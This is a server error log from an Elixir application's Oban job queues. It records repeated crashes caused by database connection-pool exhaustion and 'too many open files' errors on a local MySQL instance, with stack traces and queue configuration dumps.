State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:09:59.239585Z], limit: 50, uuid: "8b81f07c-ca12-40fa-b089-5746c2321081", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:09:59.239591Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.162525>, refresh_timer: #Reference<0.2525715032.1121189889.162504>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:10:11.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 887ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:09:59.239312Z], limit: 3, uuid: "a4640157-2b16-4b98-800f-e48abc7f77c7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:09:59.239317Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.162529>, refresh_timer: #Reference<0.2525715032.1077673987.24619>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:10:11.851000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:10:17.634000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:10:19.795000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:10:20.282000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:10:20.425000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:10:22.019000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:10:24.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 819ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:10:11.240757Z], limit: 5, uuid: "7333f7a4-7245-4409-9b20-df22d31875e1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:10:11.240763Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.24791>, refresh_timer: #Reference<0.2525715032.1068498948.48979>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:10:24.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1020ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:10:11.241850Z], limit: 50, uuid: "3e8947af-d939-4975-9ca5-036c2e317d3c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:10:11.241855Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.24792>, refresh_timer: #Reference<0.2525715032.1068498948.49007>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:10:24.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1067ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:10:11.240069Z], limit: 5, uuid: "ae117f00-e847-4da9-b685-51fc0808a7e8", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:10:11.240077Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.162849>, refresh_timer: #Reference<0.2525715032.1068498948.48993>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:10:24.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 804ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:10:11.240843Z], limit: 10, uuid: "7bbc7e58-a04f-4cb1-9721-33b10f208855", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:10:11.240847Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.24790>, refresh_timer: #Reference<0.2525715032.1068498948.48980>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:10:24.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1053ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:10:11.241337Z], limit: 20, uuid: "21275ebe-3810-4c47-8b39-c4cc49acdbd7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:10:11.241343Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.162848>, refresh_timer: #Reference<0.2525715032.1068498948.48992>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:10:24.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1022ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:10:11.243996Z], limit: 3, uuid: "7a3916d9-b782-4e7f-a27c-b865a5302e7d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:10:11.244002Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1121189889.162850>, refresh_timer: #Reference<0.2525715032.1068498948.49015>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:10:29.502000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:10:35.694000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:10:36.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 875ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:10:24.239159Z], limit: 5, uuid: "205a9598-ecaa-4eaf-9ef0-210be4a2d1df", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:10:24.239165Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.49574>, refresh_timer: #Reference<0.2525715032.1099431938.49544>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:10:36.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1039ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
